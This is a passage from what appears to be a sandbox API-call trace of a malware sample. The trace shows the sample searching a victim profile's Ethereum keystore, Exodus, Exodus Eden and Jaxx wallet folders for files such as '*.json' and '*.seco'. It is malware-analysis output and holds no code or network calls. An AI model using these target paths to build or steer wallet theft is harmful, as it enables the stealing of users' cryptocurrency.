lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0165.656] SysReAllocStringLen (in: pbstr=0x1e7dfbec*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\", len=0x35 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\") returned 1 [0165.656] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\", len=0x35 | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\") returned 1 [0165.656] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\", len=0x35 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\") returned 1 [0165.656] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.656] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.656] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.656] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x34 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0165.656] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0165.656] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0165.656] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Exodus\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 0x2a [0165.656] SysReAllocStringLen (in: pbstr=0x1e7dfc04*="%APPDATA%\\Exodus\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7dfc04*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.656] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*.json,*.seco", cchWideChar=13, lpMultiByteStr=0x1e7de8c8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*.json,*.secoè}\x1eDì(wôè}\x1e", lpUsedDefaultChar=0x0) returned 13 [0165.657] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.657] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.657] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.657] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.657] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.657] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.657] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.657] SysReAllocStringLen (in: pbstr=0x1e7e01bc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7e01bc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.657] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.657] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.657] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.658] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.658] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.658] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.658] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.658] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\*", len=0x2b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\*") returned 1 [0165.658] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\*", len=0x2b | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\*") returned 1 [0165.658] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\*", len=0x2b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\*") returned 1 [0165.658] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\*", len=0x2a | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\*") returned 1 [0165.658] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\*", len=0x2a | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\*") returned 1 [0165.658] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\*", len=0x2a | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\*") returned 1 [0165.658] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\*", len=0x2a | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\*") returned 1 [0165.658] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\*", lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0165.659] SysReAllocStringLen (in: pbstr=0x1e7dfbec*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\", len=0x2a | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\") returned 1 [0165.659] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\", len=0x2a | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\") returned 1 [0165.659] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\", len=0x2a | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\") returned 1 [0165.659] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.659] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.659] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.659] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\", len=0x29 | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus\\") returned 1 [0165.659] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0165.659] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0165.659] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Exodus Eden\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 0x2f [0165.659] SysReAllocStringLen (in: pbstr=0x1e7dfc04*="%APPDATA%\\Exodus Eden\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7dfc04*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.660] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*.json,*.seco", cchWideChar=13, lpMultiByteStr=0x1e7de8c8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*.json,*.secoè}\x1eDì(wôè}\x1e", lpUsedDefaultChar=0x0) returned 13 [0165.660] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.660] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.660] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.660] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.660] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.660] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.660] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.660] SysReAllocStringLen (in: pbstr=0x1fcf1640*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1fcf1640*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.660] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.660] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.660] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.660] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.661] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.661] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.661] SysReAllocStringLen (in: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7dfbf0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.661] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\*", len=0x30 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\*") returned 1 [0165.661] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\*", len=0x30 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\*") returned 1 [0165.661] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\*", len=0x30 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\*") returned 1 [0165.661] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\*", len=0x2f | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\*") returned 1 [0165.661] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\*", len=0x2f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\*") returned 1 [0165.661] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\*", len=0x2f | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\*") returned 1 [0165.661] SysReAllocStringLen (in: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\*", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\*", len=0x2f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\*") returned 1 [0165.661] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\*", lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0165.662] SysReAllocStringLen (in: pbstr=0x1e7dfbec*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\", len=0x2f | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\") returned 1 [0165.662] SysReAllocStringLen (in: pbstr=0x1e7df8cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\", len=0x2f | out: pbstr=0x1e7df8cc*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\") returned 1 [0165.662] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\", len=0x2f | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\") returned 1 [0165.662] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.662] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.662] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.662] SysReAllocStringLen (in: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\", len=0x2e | out: pbstr=0x1e7dfbec*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0165.662] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df984 | out: lpFindFileData=0x1e7df984*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0165.662] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0165.662] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Jaxx\\Local Storage\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 0x36 [0165.662] SysReAllocStringLen (in: pbstr=0x1e7dfc04*="%APPDATA%\\Jaxx\\Local Storage\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7dfc04*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.662] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*", cchWideChar=1, lpMultiByteStr=0x1e7de8c8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*ù}\x1eon,*.secoè}\x1eDì(wôè}\x1e", lpUsedDefaultChar=0x0) returned 1 [0165.662] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.662] SysReAllocStringLen (in: pbstr=0x1e7df8c8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7df8c8*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.662] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.662] SysReAllocStringLen (in: pbstr=0x1e7df8c4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7df8c4*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.663] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.663] SysReAllocStringLen (in: pbstr=0x1e7df8c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7df8c0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.663] SysReAllocStringLen (in: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x35 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0165.663] SysReAllocStringLen (in: pbstr=0x1fcee718*=0x0, 